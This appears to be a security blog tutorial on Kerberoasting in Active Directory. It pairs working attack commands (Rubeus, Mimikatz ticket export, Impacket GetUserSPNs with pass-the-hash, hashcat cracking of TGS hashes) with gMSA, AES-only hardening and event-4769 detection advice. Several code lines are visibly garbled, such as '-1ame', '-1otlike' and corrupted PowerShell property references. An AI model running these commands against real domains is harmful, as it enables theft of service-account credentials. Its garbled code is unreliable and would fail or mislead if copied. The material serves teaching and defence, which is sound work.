Listen to this Post
Introduction:
Kerberoasting is a post-exploitation attack that targets Kerberos service tickets in Active Directory (AD). By requesting a Ticket Granting Service (TGS) hash for any service account with a Service Principal Name (SPN), an attacker can extract and crack that hash offline, revealing the account’s plaintext password. This technique is stealthy because it does not generate anomalous event logs and requires no elevated privileges on the domain controller.
Learning Objectives:
- Understand how Kerberoasting extracts service account hashes from Active Directory.
- Execute Kerberoasting attacks using built-in Windows tools and Linux impacket scripts.
- Apply mitigation strategies including strong password policies and Managed Service Accounts.
You Should Know:
- Extracting TGS Hashes with PowerShell and Rubeus (Windows)
This step focuses on gathering TGS hashes from a domain-joined machine using native PowerShell commands and the popular tool Rubeus.
Step‑by‑step guide – PowerShell (no external tools):
Request all TGS tickets for SPNs in the domain Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.domain.com" List cached tickets (including the newly requested TGS) klist Export tickets to a .kirbi file using Mimikatz (must be run as admin) mimikatz.exe "kerberos::list /export" "exit"
Step‑by‑step guide – Rubeus (more reliable extraction):
Download or compile Rubeus from GitHub, then execute: Rubeus.exe kerberoast /outfile:hashes.kerberoast Advanced: Request TGS for a specific SPN with an RC4 (weak) encryption type Rubeus.exe kerberoast /spn:"MSSQLSvc/sql.domain.com" /tgtdeleg /rc4opsec /outfile:rc4_hashes.txt
These commands obtain the encrypted TGS hash that can be fed directly into hashcat or John the Ripper for offline cracking.
2. Using Impacket’s GetUserSPNs from Linux
Impacket provides a cross‑platform method to perform Kerberoasting without ever touching a Windows host, ideal for attacking from a C2 server or a Linux attacker machine.
Step‑by‑step guide:
Install impacket (if not already) pip3 install impacket Basic Kerberoasting against a domain controller GetUserSPNs.py domain.com/valid_user:password -dc-ip 192.168.1.10 -request Save all crackable hashes to a file GetUserSPNs.py domain.com/valid_user:password -dc-ip 192.168.1.10 -request -outputfile krb5tgs_hashes.txt Using a hash (NTLM) instead of plaintext password GetUserSPNs.py domain.com/valid_user -hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -dc-ip 192.168.1.10 -request
The output contains `$krb5tgs$` formatted hashes that hashcat can crack with mode 13100.
3. Cracking the TGS Hash with Hashcat
Once you have extracted the TGS hash, offline cracking is typically fast because service account passwords are often weak or reused.
Step‑by‑step guide (Linux):
Save the hash from GetUserSPNs or Rubeus into a file (e.g., hash.txt) Example hash format: $krb5tgs$23$user$realm$spn$... Crack using rockyou wordlist hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt Use rules for more complex passwords hashcat -m 13100 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule Show cracked passwords hashcat -m 13100 hash.txt --show
On Windows (hashcat + CUDA):
Download hashcat binary and run similarly: `hashcat.exe -m 13100 -a 0 hash.txt rockyou.txt`
4. Mitigation: Disabling RC4 and Implementing Group Managed Service Accounts
To protect against Kerberoasting, administrators should eliminate weak encryption types and move away from user‑assigned service accounts.
Step‑by‑step guide for Group Policy hardening (Windows Server):
- Open Group Policy Management Editor → Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options.
- Set “Network security: Configure encryption types allowed for Kerberos” to only AES128 and AES256 (disable RC4 and DES).
- Enforce the policy with `gpupdate /force` on all domain controllers.
Step‑by‑step guide to create a gMSA:
On a Domain Controller, create a group managed service account New-ADServiceAccount -1ame "svc_sql_backend" -DNSHostName "sql.domain.com" -PrincipalsAllowedToRetrieveManagedPassword "Domain Admins", "SQL_Admin_Group" Install the gMSA on a server that needs it Install-ADServiceAccount -Identity "svc_sql_backend" Configure the SQL service to run under this gMSA (automatically rotates password)
gMSAs have 240‑byte random passwords rotated every 30 days, making offline cracking infeasible.
5. Detecting Kerberoasting Attempts via Event Logs
Even with good passwords, detection is your last line of defense. Monitor for unusual TGS requests.
Step‑by‑step guide – Enable and analyze Kerberos Service Ticket Operations:
– Enable event 4769 (A Kerberos service ticket was requested) on all domain controllers.
– Filter for events where Ticket Options contain `0x40810000` (forwardable ticket) and Service Name is not a well‑known service (like krbtgt, WINS, etc.).
– Use PowerShell to hunt for spikes:
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} | Where-Object {$<em>.Properties[bash].Value -eq '0x40810000' -and $</em>.Properties[bash].Value -1otlike 'krbtgt'} | Group-Object -Property {$_.Properties[bash].Value} | Sort-Object Count -Descending
– For SIEM integration, forward these events and create a rule: >10 TGS requests for unique SPNs from a single workstation within 5 minutes → potential Kerberoasting.
What Undercode Say:
- Key Takeaway 1: Kerberoasting remains one of the most effective post‑exploitation attacks because service accounts are often neglected and given high privileges with weak passwords. Moving to gMSA or virtual accounts is the only true mitigation.
- Key Takeaway 2: Detection is possible but requires fine‑tuned event logging and behavioral analytics. Most organizations fail to monitor event 4769 correctly, leaving the door open for silent credential extraction.
Analysis: From a red‑team perspective, Kerberoasting is a low‑noise, high‑reward attack that works in nearly every Active Directory environment. The extracted hashes crack within hours using modern GPUs, especially when the password policy lacks complexity. Blue teams must prioritise AES‑only encryption, enforce minimum 25‑character passwords for service accounts, and deploy gMSAs wherever possible. The attack surface grows with legacy systems that still require RC4 support – isolating those systems and applying strict access controls is critical.
Prediction:
- -1 As AI‑powered password cracking evolves (e.g., using generative models to predict human‑like passwords), Kerberoasted TGS hashes that currently take days to crack will be reduced to minutes. The only sustainable defense is eliminating reversible password storage for service accounts entirely.
- -1 Legacy application vendors will continue to require RC4 or DES for compatibility, forcing enterprises to maintain vulnerable service accounts. Attackers will pivot to abusing these legacy SPNs, making Kerberoasting the leading initial privilege escalation vector in hybrid AD environments through 2026.
- +1 New Windows Server releases and Azure AD DS are already deprecating RC4 by default, pushing administrators toward gMSA and workload identities. This will dramatically shrink the Kerberoasting attack surface over the next three years, but on‑premises AD will remain vulnerable due to upgrade inertia.
▶️ Related Video (88% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Infosec Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
